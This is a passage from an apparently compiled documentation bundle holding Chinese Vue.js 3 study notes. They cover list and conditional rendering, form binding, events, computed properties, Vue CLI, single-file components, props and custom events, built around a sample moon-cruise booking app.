`,58),N=n("li",null,[s("通过数据对象公开数组。 若要使用 "),n("code",null,"v-for"),s(" 指令,请确保 "),n("code",null,"data()"),s(" 方法返回的是数组类型的数据。")],-1),M=n("code",null,"v-for",-1),I=n("code",null,"v-for",-1),R=p(`假设你想要在数据对象中公开一个名称数组:
const app = Vue.createApp({
+ data() {
+ return {
+ names:['Susan', 'Peter', 'Bill']
+ }
+ },
+});
+
显示这些值可以如下操作:
< ul id = " app" >
+ < li v-for = " name in names" > {{ name }}</ div>
+ </ ul>
+
ul
标签用于定义无序列表
<li>
标签定义列表项目。
<li>
标签可用在有序列表 (<ol>
) 和无序列表 (<ul>
) 中。
键和状态
如果更改了数据,Vue.js 需要能够刷新显示的相应部分。 使用列表时,最好更新单个项,而不是整个列表。 若要允许 Vue.js 查找单个项,请为每个显示的项指定一个键。 键不需要是数据的一部分;你可以使用数组的索引来生成它。
可以通过更新 v-for
声明来获取索引,如以下代码所示:
< ul id = " app" >
+ < li v-for = " (name, index) in names" :key = " index" > {{ name }} {{ index }}</ div>
+ </ ul>
+
index
对于数组中的每个项都递增。 :key
指令存储 Vue.js 的键,该键允许它在发生更改时更新单个项。
`,14),H={href:"https://docs.microsoft.com/zh-cn/learn/modules/vue-dynamic-rendering/3-render-lists-exercise",target:"_blank",rel:"noopener noreferrer"},F=p(` 使用条件呈现(Use conditional rendering) 使用数据驱动的应用程序时,通常需要具备根据某些值更新显示内容的能力。 可能需要更改颜色以指示警告、停用不可用的选项或仅仅是不显示控件。 Vue.js 提供了若干指令来控制是否显示项以及显示方式。
切换可见性
可使用 v-show
指令控制要显示的项。 v-show
检查一个布尔值或表达式,然后确定是否应显示某个组件。 如你所料,true
表示将显示它,而 false
表示不显示它。
以下示例显示了将 v-show
与计算结果为 true
或 false
的表达式一起使用:
< div v-if = " new Date().getMonth() < 3" > 当前为第一季度</ div>
+< div v-else-if = " new Date().getMonth() < 6" > 当前为第二季度</ div>
+< div v-else-if = " new Date().getMonth() < 9" > 当前为第三季度</ div>
+< div v-else > 当前为第四季度</ div>
+
`,8),U=p(`
处理 Vue.js 中的数据和事件 动态数据和事件概述 用户通常使用窗体修改 Web 应用程序中的数据。 由于 Vue.js 与使用动态数据有关,因此它具有将数据绑定到窗体的强大机制。 你还可以管理事件,在用户选择按钮或与页面交互时执行不同的操作。 甚至可以添加动态计算得出的值,从而最大程度地减少重复的代码量。
学习目标
将模型数据绑定到窗体。 添加事件处理程序。 创建计算值。 在本模块中,你需要了解如何实现用户与 Vue 数据的交互。 首先创建窗体,然后将数据绑定到窗体。 然后,设置一个事件处理程序并对其进行配置,以便通过按钮选择调用它。 最后,添加计算属性以最大程度地减少 HTML 中所需的 JavaScript 代码量。
使用窗体 Vue 应用或组件中的 data()
函数所返回的数据一般称为“状态”。 状态是应用程序执行必要的操作所需跟踪的任何信息。 用户通常通过 HTML 窗体修改状态。 Vue.js 允许将数据绑定到窗体,以便用户可以更新状态。
v-model
v-model
指令在 HTML 控件和关联的数据之间创建双向绑定。 因此,当窗体中的值更新时,应用程序状态中的值也会更新。 v-model
指令支持绑定到任何窗体控件,包括复选框、文本框和下拉列表。
v-bind
指令用于创建单向绑定。 因此,用户在窗体中所做的任何更改都不会存储在状态中。
Vue. createApp ( {
+ data ( ) {
+ return {
+ name : "Cheryl" ,
+ status : - 1 ,
+ active : true ,
+ benefitsSelected : "yes" ,
+ statusList : [ "full-time" , "part-time" , "contractor" ] ,
+ } ;
+ } ,
+} ) ;
+
绑定到文本框
< input type = " text" v-model = " name" />
+
每当文本框值发生更改,name
属性就会更新。 如果要改为使用 textarea
,则语法相同;你可以像以前一样使用 v-model="name"
。
绑定到复选框
通常情况下,布尔值可绑定到复选框。 复选框允许切换选项。 若要绑定 active
选项,可以使用之前所用的 v-model
。
< input type = " checkbox" v-model = " active" /> Is active
+
有时,切换不是布尔值。 相反,你可能有两种选择,如“是”和“否”。 在这种情况下,可以使用 true-value
和 false-value
来指示所选 (true) 或未选 (false) 复选框的关联值。
< input
+ type = " checkbox"
+ v-model = " benefitsSelected"
+ true-value = " yes"
+ false-value = " no"
+/>
+Benefits selected: {{ benefitsSelected }}
+
下拉列表
在 HTML 中,分两部分创建下拉列表。 使用 select
创建列表,使用 option
添加选项。 select
标记存储下拉列表的选定值,因此可以使用它来绑定到模型。
在 Vue 中,需执行以下操作:
创建选项列表 。 若要创建 option
列表元素,请使用 v-for
循环遍历并为数组中的各项创建一个 option 元素。标识值 。 需要为创建的各选项标识值。 例如,如果列表只是一个字符串数组,则应将字符串或所选索引存储为值。 下面是一个示例:< select v-model = " selectedIndex" >
+ < option v-for = " (stringItem, index) in statusList" :value = " index" >
+ {{stringItem}}
+ </ option>
+</ select>
+
vue.js
相应的加上一个下拉列表索引变量
const app = Vue. createApp ( {
+ data ( ) {
+ return {
+ name : "Cheryl" ,
+ status : - 1 ,
+ active : true ,
+ benefitsSelected : "yes" ,
+ statusList : [ "full-time" , "part-time" , "contractor" ] ,
+
+ selectedIndex : "0" ,
+ } ;
+ } ,
+} ) ;
+
如果列表存储由对象构成的数组,请指出显示属性以及值所在的位置。
< select v- model= "selectedValue" >
+ < option v- for = "item in items" : value= "item.value" >
+ { { item. displayProperty } }
+ < / option>
+ < / select>
+
跟踪选定的值 。 可使用 v-model
将所选值绑定到 select
标记。 这样便可跟踪项的索引或值。 这由您自己决定。若要创建选项列表,请使用 v-for
遍历列表。 然后选择将值设置为数组中项的索引。 使用 v-for(status, index) in statusList
为每个项提供索引。 然后将每个选项的 :value
设置为 index
,并将 status
显示为用户的选项。
< select v- model= "statusIndex" >
+ < ! -- Create a message to select one -- >
+ < option disabled value= "" > Please select one< / option>
+ < ! -- Use v- for to create the list of options -- >
+ < option v- for = "(status, index) in statusList" : value= "index" >
+ { { status } }
+ < / option>
+ < / select>
+
最后,添加 v-model="statusIndex"
以确保用户选择某项时,statusIndex
data 属性的值将更新为所选索引。
处理事件 在应用程序中,事件是可能发生的操作,但你不一定知道何时发生。 例如,如果页面上有一个按钮,你知道用户可能会选择该按钮。 但不知道何时选择。
创建任何 Web 应用程序都需要了解如何处理事件。 在此,你将了解如何使用 Vue.js 管理事件。
v-on 指令和 @
Vue.js 提供了一个名为 v-on
的指令,你可以将其绑定到任何事件,例如 v-on:click
。 由于处理事件是一项核心任务,Vue.js 还提供了一个 @
快捷方式来处理任何事件。 因此,若要绑定 click 事件,可以使用 @click
快捷方式。
事件处理程序
可通过将函数添加到 Vue 应用程序或组件中的 methods
字段来创建事件处理程序。 methods
字段类似于 data()
,但它不返回状态对象,而是保留应用程序的可用函数的列表。 可以采用与引用其他 JavaScript 函数相同的方式在 HTML 中引用这些函数。
向 methods
字段添加函数的主要原因是函数可以访问任何已注册的数据。
向 Vue 应用或组件添加方法时,this
将指向活动实例。 可从 this
访问可用于活动实例的任何数据,如以下示例中的 name
所示。
创建事件处理程序
若要创建在调用 name
data 属性时显示其值的方法,可按照以下示例操作:
const app = Vue. createApp ( {
+ data ( ) {
+ return {
+ name : "Cheryl" ,
+ } ;
+ } ,
+
+ methods : {
+ displayName ( ) {
+ console. log ( this . name) ;
+ } ,
+ } ,
+} ) ;
+
由于 displayName()
已添加到 methods
属性中,因此它可由模板访问,并可绑定到事件。
将事件处理程序绑定到事件
可使用 @click
速记将 displayName()
函数绑定到 click
事件。 当用户选择该按钮时,将调用 displayName()
函数。
< button type = " button" @click = " displayName" > Display name</ button>
+
了解计算属性 通过使用 handlebars 语法 ({{ }}
),可以显示值并将 JavaScript 注入到 HTML 中。 此语法非常强大,但可能导致代码混乱或重复。 可使用 Vue 中的计算属性来卸载计算和其他形式的动态字符串。
创建计算属性
与在 methods
字段下添加方法类似,计算属性将添加到 computed
字段中。 计算属性是返回值的函数。 与方法类似,计算属性可使用 this
访问 Vue 的活动实例。
你可使用计算属性将 firstName
和 lastName
合并为 fullName
属性,在数组中执行查找以返回正确的值,或执行其他动态任务。
而且,计算属性是响应式的。 如果计算属性中的任何值发生更改,则会更新计算属性以反映所做的更改。
以下示例创建了一个 fullName
。
const app = Vue. createApp ( {
+ data ( ) {
+ return {
+ firstName : "Cheryl" ,
+ lastName : "Smith" ,
+ } ;
+ } ,
+ computed : {
+ fullName ( ) {
+ return \` \${ this . lastName} \${ this . firstName} \` ;
+ } ,
+ } ,
+} ) ;
+
字符串字面量将连接 lastName
和 firstName
字段。
Vue.js 中的 Vue CLI 和单文件组件入门 虽然可以仅使用 JavaScript 来创建 Vue.js 应用程序,但大多数开发人员都需要更多的功能和灵活性。 使用 Vue CLI 和单文件组件,你可以利用更可靠的工具增强开发体验。 我们将了解如何使用 Vue CLI 启动应用程序,以及如何在 Vue 中创建可重用组件。
在一个 JavaScript 文件中创建整个 Vue.js 应用程序,但只能在小型应用程序中管理它。 为了支持将应用程序分解为较小的单元,Vue 使你能够创建组件。 组件是可重用的构建基块,你可以基于组件创建应用程序。
可以将组件创建为 JavaScript 文件,或通过扩展名为 .vue 的单文件组件来创建组件。 单文件组件使用浏览器无法读取的专用语法。 必须将此语法转换为相应的 JavaScript、HTML 和 CSS 语法。 将专用语法转换为浏览器可读取的内容的过程称作“捆绑”,这需要额外的工具,例如 webpack。
幸运的是,Vue 还提供了可用于启动应用程序的命令行接口 (CLI)。 CLI 配置所有必备工具,包括捆绑程序和开发服务器。
本模块介绍如何执行以下操作:
使用 Vue CLI 创建应用程序。 创建单文件组件。 使用属性将值传入组件。 Vue CLI 入门 Vue CLI 提供了一套开发工具,包括用于项目基架构建和快速原型设计的工具和一个开发服务器。 它帮助你快速创建初始应用程序,以便你可以专注于编码,而不是配置库和其他设置。
启动
Vue CLI 的核心功能是启动应用程序。 Create 脚本供一个向导,你可以在其中选择一些最常见的配置,包括:
Lint 分析选项 :确保所有代码看上去一致。 这些选项还可帮助发现错误。应用程序类型 :选择是否添加渐进式 Web 应用支持。Babel 支持 : Babel 的任务是当需要在较旧版本的浏览器中使用应用时,将较新的 JavaScript 语法转换为旧式 JavaScript 语法。语言 :选择 JavaScript 或 TypeScript。 哪一个都可以,但 TypeScript 除其他功能外还提供类型,在应用程序增长时可能是一个不错的选择。 Vue 本身就是使用 TypeScript 生成的。生成过程
Vue CLI 的设计使其能处理单文件 Vue 组件或 .vue 文件。 模块捆绑程序或捆绑程序管理将 .vue 文件中的专用语法转换为相应 JavaScript、HTML 和 CSS 语法的过程,使浏览器可读取这些文件。
`,99),z={href:"https://webpack.js.org/",target:"_blank",rel:"noopener noreferrer"},W=n("hr",null,null,-1),$=n("p",null,[n("strong",null,"开发服务器")],-1),J=n("p",null,"开发任何类型的应用程序都需要反复试验。 你需要做一些更改,在浏览器中加载页面,测试该页面,然后再进行更改。 然后重复此过程,直到一切都按照预期工作。",-1),O=n("p",null,"你希望尽量减少此过程涉及的步骤。 为了简化开发,Vue CLI 包含了一个开发服务器。 该开发服务器会在你每次保存文件时检测文件更改,重新生成(或重新捆绑)项目,并使你能在浏览器中测试页面。",-1),G=n("hr",null,null,-1),X=n("h6",{id:"使用-vue-cli-创建应用程序",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#使用-vue-cli-创建应用程序","aria-hidden":"true"},"#"),s(" 使用 Vue CLI 创建应用程序")],-1),Y=n("p",null,"我们要创建一个应用程序,使用户能通过它向虚构公司 Relecloud 预订月球巡航。 我们将使用 Vue CLI 启动应用程序。",-1),K=n("hr",null,null,-1),Z=n("p",null,[n("strong",null,"安装 Vue CLI")],-1),Q={href:"https://www.npmjs.com/",target:"_blank",rel:"noopener noreferrer"},nn=p(``,1),sn=n("strong",null,"重要",-1),an={href:"https://github.com/nvm-sh/nvm#installing-and-updating/?azure-portal=true",target:"_blank",rel:"noopener noreferrer"},tn={href:"https://docs.microsoft.com/zh-cn/windows/nodejs/setup-on-wsl2/",target:"_blank",rel:"noopener noreferrer"},pn=p(`如果要安装 Vue CLI,请打开命令窗口或终端窗口,然后运行以下命令:
npm install -g @vue/cli
+
在系统上安装 Vue CLI 需要几分钟时间。
启动应用程序
启动 Vue 应用程序最快的方式是使用 Vue CLI。 现在,我们将使用 Vue CLI 创建一个初始应用程序。
在命令窗口或终端窗口中,转到要用于存储应用程序的文件夹。 通过运行以下命令创建一个 Vue 应用程序: 出现提示时,使用箭头键移动到“Manually select features”,然后选择 Enter 键。
系统提示项目需要的功能时,使用箭头键移动到“Babel”,然后选择空格键禁用它。 接下来,使用箭头键移动到“Linter / Formatter”,然后选择空格键禁用它。
`,10),en={start:"5"},on=p('确保选中“Choose Vue version”。
选择 Enter 键确认功能选择。
对于生产项目,你可能决定添加更多功能。 这些功能超出了本模块的范畴。
系统提示你选择 Vue.js 版本时,使用箭头键移动到“3.x (Preview)”,然后选择 Enter 键。
如果系统提示你选择用于放置配置文件的位置,请保留默认位置“In dedicated config files”,然后选择 Enter 键。
系统提示你将此信息作为预设保存时,通过选择 Enter 键接受默认值“No”。
',5),cn=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202111102023213.png",alt:"image-20211110202334115"})],-1),ln={href:"https://code.facebook.com/posts/1840075619545360",target:"_blank",rel:"noopener noreferrer"},un=n("p",null,"npm 安装包(packages)的速度不够快,拉取的 packages 可能版本不同",-1),rn=n("p",null,"npm 允许在安装 packages 时执行代码,这就埋下了安全隐患",-1),kn={href:"https://zhuanlan.zhihu.com/p/23493436",target:"_blank",rel:"noopener noreferrer"},dn=p(`浏览代码
我们来看一看 Vue CLI 已创建的代码。
安装完成后,在 Visual Studio Code 中打开 relecloud 目录:
打开 package.json
请注意,vue
作为依赖项列出,@vue/cli-service
作为 devDependency
列出。
@vue/cli-service
部分负责生成应用程序和运行开发服务器。
请注意两个脚本:
serve
脚本用于启动开发服务器。build
脚本用于在你准备好发布项目时,创建 JavaScript、HTML 或 CSS。打开将托管 Vue 应用程序的 public/index.html
。
打开 src/main.js
,注意从 App.vue
导入 App
的代码。
打开 src/App.vue
,它包含我们将在下一个单元中探讨的核心组件。
Visual Studio Code 可能会向你提示推荐的扩展。 我们会在未来的某个模块中安装该扩展。
请注意 src/components
文件夹,所有组件都将存储在其中。
运行开发服务器
我们启动开发服务器并查看默认页面。
通过选择“终端” > “新终端”,在 Visual Studio Code 中打开新终端窗口。
在集成终端中,运行以下命令来启动开发服务器:
打开浏览器,然后转到 http://localhost:8080
。
此时显示默认的 Vue 应用程序。
至此, 达成了用 VUE CLI 创建了一个 APP
Vue 组件入门 根据定义,组件是“一个较大整体中的一个部分或元素”。 考虑创建应用程序时,你通常是使用较小的部分,然后将它们组合成一个较大的整体:应用程序。 Vue 使你能创建可用于创建完整应用程序的组件。
Vue 组件
虽然可以使用 JavaScript 文件创建组件,但更常见的方法是使用 .vue
文件中的 Vue 语法创建单文件组件。 单文件组件拥有更清晰的结构以及更独立的设置。 你甚至能通过这些组件使用各种预处理器,例如 Pug 或 Stylus。
创建组件时,你实际上是创建可在应用程序中使用的新标记,方式类似于创建普通 HTML 标记。 这种形式的语义标记指明了页面上显示的内容。 像 <booking-form></booking-form>
这样的标记可能会显示一个用于创建预订的窗体,而 <booking-list></booking-list>
可能会显示一个预订列表。
Vue 组件结构 Vue 组件包含三个主要部分:style
、script
和 template
。
样式
style
部分可以包含任何有效的 CSS 或你可能使用的任何预处理器的语法。
你还可以使用 scoped
特性将 CSS 的范围设定为该特定组件。 样式只会仅应用于该组件,因此你可以创建类和其他设置,而无需担心会意外修改页面的其他部分。
<style>
+.demo {
+ font-family: Verdana
+}
+</style>
+
Verdana
是一套无衬线字体, 它在小字上有结构清晰端整、阅读辨识容易等高品质表现,成为许多领域爱用的标准字型之一。
脚本
script
部分存储用于组件的脚本。 和 Vue JavaScript 组件一样,你可以导出各种 Vue 属性和方法,例如 data()
、methods
和 components
。
< script>
+ export default {
+ data ( ) {
+ return {
+ product : {
+ name : "Cruise to the moon" ,
+ description : "A cool cruise to the moon!" ,
+ } ,
+ } ;
+ } ,
+ } ;
+ </ script>
+
template
template
部分包含要用于显示信息并使用户能与数据交互的 HTML 模板。 使用基于 JavaScript 的组件时,template
通常位于 .html
文件中,或者它是 JavaScript 文件中的字符串字面量。
template
中使用的 HTML 语法与基于 JavaScript 的组件中的语法相同,这包括使用 handlebars ({{}}
) 来显示数据。
< template>
+ < div id = " product" >
+ < div> {{ product.name }}</ div>
+ < div> {{ product.description }}</ div>
+ </ div>
+</ template>
+
模板需要有一个根元素。 也就是说,将 product
作为 id
的 div
元素不能拥有任何同级元素。 它只能拥有子元素,如前面的代码所示。
加载和组件
如前文所述,保存单文件组件所用的扩展名是 .vue
。 你可以使用 import
语句以类似的方式将这些组件加载到其他模块。 可以使用 components
属性注册它们。 组件注册后,可用作 template
内的标记。
使用 import
导入库时,标准做法是使用帕斯卡命名法为这些标记命名,其中每个单词的首字母大写(例如 PascalCase
)。 但在 HTML 中,标记名的约定是使用短横线隔开式命名法:每个单词均小写,单词之间加一个短横线 -
。 Vue 自动管理这两种不同的约定。
< template>
+< product-display> </ product-display>
+</ template>
+< script>
+import ProductDisplay from './ProductDisplay.vue'
+export default {
+ components: {
+ ProductDisplay
+ }
+}
+
在前面的代码中,导入了 ProductDisplay
组件,并已将它添加到 components
属性。 于是,在模板中使用 ProductDisplay
时,Vue 的编译器可以判断需要分析的是此组件,而不是常规的 HTML 元素。
分离关注点
将 HTML、CSS 和 JavaScript 融入一个文件中似乎背离了为每个类型创建独立的文件的最佳做法。 实际上,在这些文件之间切换可能会导致开发速度缓慢,因为它们之间相互依赖。 此外,还有一个认知负载与不得不在文件之间切换有关联。
借助单文件组件,你能使用 src
特性为 script
和 style
部分创建独立的文件。
< template>
+ < div> Hello, world</ div>
+</ template>
+< script src = " ./hello.js" > </ script>
+< style src = " ./style.css" > </ style>
+
创建组件 我们要创建一个应用程序,使用户能预订月球巡航。 在接下来的几个练习中,你将为创建一个组件作为用户为创建预订而填写的窗体;然后创建另一个组件,用于显示创建的预订的列表。 你要创建的第一个组件将托管两个子组件。
安装 Visual Studio Code 扩展
`,50),vn={href:"https://marketplace.visualstudio.com/vscode/",target:"_blank",rel:"noopener noreferrer"},mn={href:"https://marketplace.visualstudio.com/items/?itemName=octref.vetur",target:"_blank",rel:"noopener noreferrer"},gn=n("code",null,".vue",-1),bn=n("code",null,"Sarah Drasner",-1),hn={href:"https://marketplace.visualstudio.com/items?itemName=sdras.vue-vscode-snippets",target:"_blank",rel:"noopener noreferrer"},qn=p(`
创建 Host 组件
我们来创建 Host 组件。
在 src/components
中创建一个名为 Host.vue
的文件。
在 Host.vue
中键入 vue
,然后从代码片段菜单选择“<vue> with default.vue
”。
更新脚本部分
此代码片段为我们创建 script
元素,其中已创建了 export default
。 export default
命令使 Vue 中的另一个组件能加载此组件。 我们会将需要的代码添加到此部分中。
在 export default
的大括号 ({ }
) 内添加以下代码,用于为组件命名,注册数据并添加两条注释供将来使用:
name : 'Host' ,
+data ( ) {
+ return {
+ cruise : {
+ name : 'Cruise to the moon' ,
+ description : 'Cruise to the moon in our luxurious shuttle. Watch the astronauts working outside the International Space Station.' ,
+ cabins : [
+ { name : 'Coach' , price : 125000 } ,
+ { name : 'Business' , price : 275000 } ,
+ { name : 'First' , price : 430000 } ,
+ ]
+ } ,
+ bookings : [
+ { name : 'Sample' , price : 0 }
+ ]
+ }
+} ,
+
+
+
+
+
name
字段设置组件的名称。 data()
部分将 cruise
对象注册为组件的数据。 稍后我们将使用 bookings
来存储巡航预订列表。 todo
注释充当表示供未来使用的标记。
添加模板
注册数据后,接下来将 HTML 添加到 template
元素以显示核心信息。 我们还将添加两个占位符供将来使用。
在 Host.vue
中的 template
元素内添加以下 HTML,用于显示巡航的名称和说明。 该 HTML 通过占位符来表示两个我们将于稍后创建的组件。
< section>
+ < div class = " nav-bar" > </ div>
+ < h1> Relecloud Galaxy Tours</ h1>
+
+ < div>
+ < h2> {{ cruise.name }}</ h2>
+ < div> {{ cruise.description }}</ div>
+ < hr />
+
+ < div class = " row" >
+ < div>
+
+ </ div>
+ < div>
+
+ </ div>
+ </ div>
+ </ div>
+</ section>
+
添加样式
创建 HTML 后,为应用程序添加样式。
在 Host.vue
中的 style
元素内添加以下 CSS:
body {
+ background-color : #f2f2f2;
+ margin : 0, 5%;
+ font-family : tahoma;
+}
+
+.row {
+ display : grid;
+ grid-template-columns : 1fr 1fr;
+ vertical-align : middle;
+ margin : 2em;
+}
+
+.button {
+ background-color : #39495c;
+ border-radius : 5px;
+ color : white;
+ text-align : center;
+}
+
+.nav-bar {
+ background : linear-gradient ( -50deg, #010801, #0d0d60) ;
+ height : 60px;
+ margin-bottom : 25px;
+}
+
此 CSS 会向应用程序添加一些结构和颜色。
将 Host 组件设置为应用程序的入口点
Vue CLI 创建一个 main.js
文件,该文件将 App.vue
作为入口点加载到应用程序中。 为此,我们创建了一个名为 Host 的新组件。 我们会更新 main.js,以使用我们的组件。
打开 main.js
,然后使用以下代码替换内容:
import { createApp } from "vue" ;
+import Host from "./components/Host.vue" ;
+
+createApp ( Host) . mount ( "#app" ) ;
+
测试应用程序
保存代码后返回 http://localhost:8080
到此为止完成了在 Vue.js 中创建了你的第一个单文件组件!
组件属性 HTML 元素是用于创建页面的构建基块。 可通过将特性设置为不同的值来配置这些元素的行为。 正如我们前面强调的那样,创建组件与创建自定义 HTML 标记相似。 因此,你可以通过属性传入信息,从而提高组件的可重用性。
定义属性
属性是一组可传入组件的值。 你通常会向组件添加属性,以传入它应显示或更改其行为的值。
可通过在 script
元素内添加 props
字段来定义组件的属性。 可以列出组件属性的名称,方式是将它们以数组形式列出:
+< script>
+ export default {
+ name : "UserDisplay" ,
+ props : [ "name" , "age" ] ,
+ } ;
+ </ script>
+
组件的调用方使用与 HTML 特性相同的语法来设置属性。 就上一个组件而言,我们可以像下面这样设置 name
和 age
:
+< template>
+ < user-display name = " Cheryl" age = " 28" > </ user-display>
+</ template>
+< script>
+ import UserDisplay from "./UserDisplay.vue" ;
+ export default {
+ components : {
+ UserDisplay,
+ } ,
+ } ;
+ </ script>
+
通过特性绑定,值 Cheryl
和 28
分别绑定到 name
和 age
属性。
Vue.js 会将名为 UserDisplay
的组件转换为用短横线分隔的小写形式 user-display
。
限制类型
调用方可通过将值作为数组的一部分列出的方式来传入任何类型的值。 这适用于基本应用程序,但你通常需要指出希望为每个属性使用的数据类型。
定义架构可提供有关属性的更可靠的信息。 如果希望指出 name
为字符串,age
为数字,可以像下面这样定义属性架构:
+< script>
+ export default {
+ name : "UserDisplay" ,
+ props : {
+ name : String,
+ age : Number,
+ } ,
+ } ;
+ </ script>
+
请注意,你其实是在创建一个具有 name
和 age
类型的属性对象。 现在,此组件只接受指定的数据类型。 你还可以像以前那样进行设置:
+< user-display name = " Cheryl" age = " 28" > </ user-display>
+
但是,如果将数据类型设置为与架构不匹配的值(例如向 name
传入数字),你会在控制台中收到一条警告。 该警告将要求你采取措施。
复杂对象
使用 Vue 时,通常是使用对象而不是使用单独的值。 幸运的是,你可以声明具有属性的复杂结构。
如果你使用具有 name
和 age
属性的 User
对象,可以在属性中将这声明为一个完整的构造:
+< script>
+ export default {
+ name : "UserDisplay" ,
+ props : {
+ user : {
+ name : String,
+ age : Number,
+ } ,
+ } ,
+ } ;
+ </ script>
+
可以像以前那样使用特性设置值。 此外,你可以指定要使用的对象的名称,以通过这样的方式传入动态数据。 在下面的示例中,使用和传递静态值一样的语法传递了一段名为 user
的数据:
+< template>
+ < user-display :user = " user" > </ user-display>
+</ template>
+
+< script>
+ import UserInfo from "./UserInfo.vue" ;
+ export default {
+ data ( ) {
+ return {
+ user : {
+ firstName : "Cheryl" ,
+ age : 28 ,
+ } ,
+ } ;
+ } ,
+ components : {
+ UserDisplay,
+ } ,
+ } ;
+ </ script>
+
在组件内使用属性
在组件内,可以使用读取数据的方式来读取属性。 完整的 UserDisplay
组件可能如下所示:
< template>
+ < div> Name: {{ user.name }}</ div>
+ < div> Age: {{ user.age }}</ div>
+</ template>
+< script>
+ export default {
+ name : "UserDisplay" ,
+ props : {
+ user : {
+ name : String,
+ age : Number,
+ } ,
+ } ,
+ } ;
+ </ script>
+
与有状态数据不同,通过属性传递值是单向绑定。 如果对属性进行了更改,这些更新不会扩展到父级。
向组件添加属性 接下来,通过创建显示当前预订列表的组件,继续生成应用程序。 你将添加一个窗体,用户可以使用它来添加预订,现在创建一个静态数组吧。
创建组件
首先创建组件。
使用 Visual Studio Code,在 src/components
中创建一个名为 BookingList.vue
的文件。 在 BookingList.vue
中键入 vue
,然后从代码片段菜单中选择“<vue> with default.vue
”。 注册属性和计算出的值
我们需要一个预订信息数组,所以将属性声明为 Array
类型。 你要创建组件,因此还可以利用计算属性自动计算值。 你将添加一个计算属性,用于添加总价并返回可供你使用的显示值。
打开 src/components/BookingList.vue
在 export default
的大括号 ({ }
) 内,添加以下代码,以创建一个名为 bookings
的属性和 computed
属性: props : {
+ bookings : Array
+} ,
+computed : {
+ totalDisplay ( ) {
+ let totalCost = 0 ;
+ if ( this . bookings && this . bookings. length > 0 ) {
+ totalCost =
+ this . bookings. map ( b => b. price)
+ . reduce ( ( a, b ) => a + b) ;
+ }
+ return '$ ' + totalCost. toLocaleString ( 'en-US' ) ;
+ }
+}
+
请注意,totalDisplay
可以使用 this
访问 bookings
属性,也就是说我们能访问声明为组件的一部分的数据或其他属性。 我们创建代码,以计算 bookings
中列出的所有价格的总价,并创建字符串显示。
为显示信息添加模板
接下来,添加模板以显示预订信息。 你将使用 v-for
循环访问所有预订,并使用我们之前创建的 totalDisplay
计算属性。
打开 src/components/BookingList.vue
在 <template>
元素内部,添加以下 HTML: < section>
+ < h2> Here's your current bookings:</ h2>
+
+ < div class = " row" v-for = " (booking, index) in bookings" :key = " index" >
+ < div> {{ booking.cabin }}</ div>
+ </ div>
+
+ < h3 class = " row" > Total: {{ totalDisplay }}</ h3>
+</ section>
+
我们的代码使用 v-for
循环访问所有预订,并显示 cabin
。 然后,我们调用 totalDisplay
来显示所有预订的总费用。 向主页添加组件
接下来,使用我们创建的组件,然后传入预订列表。
打开 src/components/Host.vue
。
在 <script>
开始标记下、export default
前添加一个新行。
添加以下代码(包括注释)以导入 BookingList
组件:
import BookingList from "./BookingList.vue" ;
+
+
通过在 todo: Add components
注释下添加以下代码(包括注释)来注册组件:
components : {
+ BookingList,
+
+
+} ,
+
这两个逗号是必需的,因为我们未来会添加更多值。
使用组件
注册组件后,在页面中调用它吧。 我们将使用之前创建的 bookings
数组在页面上播种预订列表。
打开 src/components/Host.vue
在 todo: Add booking-list
注释下,添加以下代码以使用 booking-list
组件:
< booking-list :bookings = " bookings" > </ booking-list>
+
测试页面
保存后返回 http://localhost:8080
到此为止完成了创建一个具有属性的组件。
组件的自定义事件 HTML 元素可基于用户交互引发事件。 使用组件发射事件也能引发事件。 然后,父组件可以使用与添加代码以侦听按钮点击事件相同的方式来处理这些事件。
注册事件
创建组件时,在 script
中的 emits
字段中列出组件可能发射的任何事件,从而注册这些事件:
+< script>
+ export default {
+ name : "Demo" ,
+ emits : [ "userUpdated" ] ,
+ } ;
+ </ script>
+
发射事件
使用 $emit
函数发射事件。 如果要发射 HTML 控件直接引发的事件,可使用内联方式执行此操作。 请注意,你可以通过注册按钮的 click
事件处理程序来发射 userUpdated
事件:
+< template>
+ < button @click = " $emit('userUpdated')" > Save user</ button>
+</ template>
+
你使用的是快捷方式 @click
,它通常用于连接 Vue 中的事件处理程序。
有时,可能需要在发射事件前执行更多步骤。 如果组件在返回任何更新的信息之前需要先将值保存到数据库中,你可以通过添加方法来完成此操作。 在方法中,可以使用 this.$emit
来引发事件,就像之前一样:
+< template>
+ < button @click = " saveUser" > Save user</ button>
+</ template>
+< script>
+ export default {
+ name : "UserDialog" ,
+ emits : [ "userUpdated" ] ,
+ methods : {
+ saveUser ( ) {
+
+ this . $emit ( "userUpdated" ) ;
+ } ,
+ } ,
+ } ;
+ </ script>
+
发射带有数据的事件
组件可能需要通过事件向父组件返回数据。 可以通过向 $emit
传递其他参数来返回任何数据。 如果希望通过返回 true
来指示更新成功,可以像下面这样更新调用:
< button @click = " $emit('userUpdated', true)" > Save user</ button>
+
你也可以使用方法:
methods : {
+ saveUser ( ) {
+
+ this . $emit ( 'userUpdated' , true ) ;
+ }
+}
+
侦听事件
侦听组件发射的事件和侦听普通 HTML 控件引发的事件类似。 你往往会在父组件中创建一个方法,然后使用会为 @click
或其他事件使用的 @<event-name>
语法,将该方法连接到事件。 如果事件返回任何数据,这些数据都会被作为参数传递给函数。
如果要为先前创建的 userUpdated
事件添加事件处理程序,可以使用以下代码。 请注意,Vue.js 会将采用骆驼拼写法的名称转换为用短横线分隔的小写名称。
< template>
+< user-dialog @user-updated = " handleUserUpdated" > </ user-dialog>
+</ template>
+< script>
+import UserDialog from './UserDialog.vue';
+export default {
+ methods: {
+ handleUserUpdated(success) {
+ if (success) {
+ alert('It worked!!');
+ } else {
+ alert('Something went wrong');
+ }
+ }
+ },
+ components: {
+ UserDialog
+ }
+}
+
向组件添加自定义事件 接下来,通过添加一个窗体来完成应用程序的构建。 该窗体有一个供用户选择客舱的下拉列表,还有一个用于预订巡航的按钮。 你会将此窗体设置为新组件,并为该按钮创建一个事件。 最后,通过从 Host.vue
调用此新组件。
创建组件
使用默认模板创建 BookingForm
组件
为组件添加代码
在 export default
的大括号 ({ }
) 内,添加以下代码来配置组件:
props : {
+ cabins : Array,
+} ,
+emits : [ 'bookingCreated' ] ,
+data ( ) {
+ return {
+ cabinIndex : - 1
+ }
+} ,
+methods : {
+ bookCabin ( ) {
+ if ( this . cabinIndex < 0 ) return ;
+ this . $emit ( 'bookingCreated' , this . cabinIndex) ;
+ this . cabinIndex = - 1 ;
+ } ,
+}
+
此代码首先创建一个用于显示可用客舱的列表的 cabins
属性。 我们使用 emits
